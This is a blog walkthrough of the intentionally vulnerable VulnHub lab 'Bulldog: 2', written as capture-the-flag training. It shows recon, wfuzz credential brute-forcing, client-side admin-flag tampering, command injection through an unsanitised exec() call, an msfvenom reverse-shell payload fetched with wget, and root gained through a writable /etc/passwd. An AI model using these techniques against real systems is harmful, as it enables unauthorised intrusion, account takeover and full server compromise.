This post documents the complete walkthrough of Bulldog: 2, a boot2root VM created by Nick Frichette, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

On this post


Three years have passed since Bulldog Industries suffered severe data breaches. In that time, they have recovered and re-branded as, an up and coming social media company. Can you take on this new challenge and get root on their production web server?

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
80/tcp open  http    syn-ack ttl 64 nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: B9AA7C338693424AAE99599BEC875B5F
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)

Looks like only 80/tcp is open. Here’s how the site looks like.


The site is running on Angular (4.4.7), at least the client-side of the site is. You can see the Angular favicon on the tab.


Another way of determining if the site is running Angular—is by looking at the DOM tree. The DOM tree is dynamically built by Angular through the use of JavaScript (or TypeScript at the server side). There’s no point to looking at the HTML source because you won’t find anything useful there other than the bundled JavaScript files. Mind you, these minified files make analysis a little more difficult than usual, but you can always use the browser’s JavaScript debugger to prettify them.

DOM Tree

The login page is available to us as the sole attack surface, but where are the usernames?

Login Page

Turns out that there’s a /users/getUsers route hidden in main.js.


# curl -s | jq . | grep username | cut -d':' -f2 | cut -d'"' -f1 > usernames.txt
# wc -l usernames.txt

The site is not lying when they say they have over 15,000 users!

Using wfuzz and a wordlist of the 100 most common passwords, we can attempt a brute-force at the login page like so.

# wfuzz \
-w usernames.txt \
-w /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt \
-H "Content-Type: application/json" \
-H "Referer:" \
-d "{\"username\":\"FUZZ\", \"password\": \"FUZ2Z\"}" \
-t 20 \
--hc 401 \

In fact, we don’t even have to finish the brute-force.

* Wfuzz 2.2.11 - The Web Fuzzer                        *

Total requests: 1576000

ID	Response   Lines      Word         Chars          Payload    

000206:  C=200      0 L	       3 W	    445 Ch	  "eivijay - 12345"
000405:  C=200      0 L	       3 W	    459 Ch	  "ipadolpho - 123456789"
000704:  C=200      0 L	       3 W	    454 Ch	  "mdrudie - qwerty"
000916:  C=200      0 L	       3 W	    464 Ch	  "nmmyriam - letmein"
001603:  C=200      0 L	       3 W	    447 Ch	  "nswash - 12345678"
001801:  C=200      0 L	       3 W	    462 Ch	  "pejerrine - 123456"

Logging in with any of the credentials above will result in a JSON Web Token (JWT) and the user’s profile getting stored in the browser’s local storage. You’ll see that in a while.

Let’s go with the credential (eivijay:12345).


Here’s the local storage. The stored items are: id_token and user.

Local Storage

Somewhere in main.js lies the function (aptly called isAdmin) to determine if a user is admin.


A user is admin as long as the user’s authentication level is master_admin_user. Let’s change the authentication level for eivijay.


Refreshing the profile page brings out the Admin Dashboard route.


# wfuzz \
-w /usr/share/wordlists/rockyou.txt \
-H "Content-Type: application/json" \
-H "Referer:" \
-d "{\"username\":\"admin\", \"password\": \"FUZZ\"}" \
-t 20 \
--hh 40 \
* Wfuzz 2.2.11 - The Web Fuzzer                        *

Total requests: 14344392

ID	Response   Lines      Word         Chars          Payload    

023194:  C=400     10 L	      60 W	   1061 Ch	  "!"£$%^"
037686:  C=200      0 L	       2 W	     40 Ch	  "foreverfriends"^C
Finishing pending requests...

I wasted plenty of CPU cycles here trying to brute-force the second login. But, at least it brought me closer to the next stage. Notice when the password contains a double quote ("), the response code is 400 and the response length is more than 1000 bytes? This prompted me to investigate further.

Using Burp Suite, I was able to reproduce the 400 response.


Turns out that the JSON parser produces a syntax error when it’s given a malformed JSON input.


Bulldog 2 - The Reckoning

Not knowing how to proceed, I chanced upon the site’s Github respository searching for “Bulldog-2-The-Reckoning” in Google.

You can see what happens at the /linkauthenticate route—the password field is not sanitized before passing on to exec.

user.js'/linkauthenticate', (req, res, next) => {
  const username = req.body.password;
  const password = req.body.password;

  exec(`linkplus -u ${username} -p ${password}`, (error, stdout, stderr) => {
  if (error) {
    console.error(`exec error: ${error}`);
  console.log(`stdout: ${stdout}`);
  console.log(`stderr: ${stderr}`);

Low-Privilege Shell

Armed with this knowledge, we can make use of command substitution to execute shell commands through the password field.

First, let’s see if we can execute wget.


Awesome. wget is available and it’s running 64-bit.


# echo -n 7838365f36340a | xxd -p -r

Next, generate a 64-bit reverse shell with msfvenom.

# msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=4444 -f elf -o rev
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: rev

Transfer the reverse shell over to /tmp/rev with wget.


Make it executable with chmod +x /tmp/rev.


Let’s execute the reverse shell.


Boom. We got shell.


Now that we have a low-privilege shell, let’s spawn a pseudo-tty with Python.


Privilege Escalation

I found my ticket to privilege escalation during enumeration of this account.


Since we have write permissions to /etc/passwd, let’s change the root password to root.


Where’s the Flag (WTF)

Getting the flag is trivial now that I’m root.




Who would have thought that the MEAN stack is so cool? I certainly didn’t know anything about it until I tried my hands on this VM. Kudos to Nick for creating it!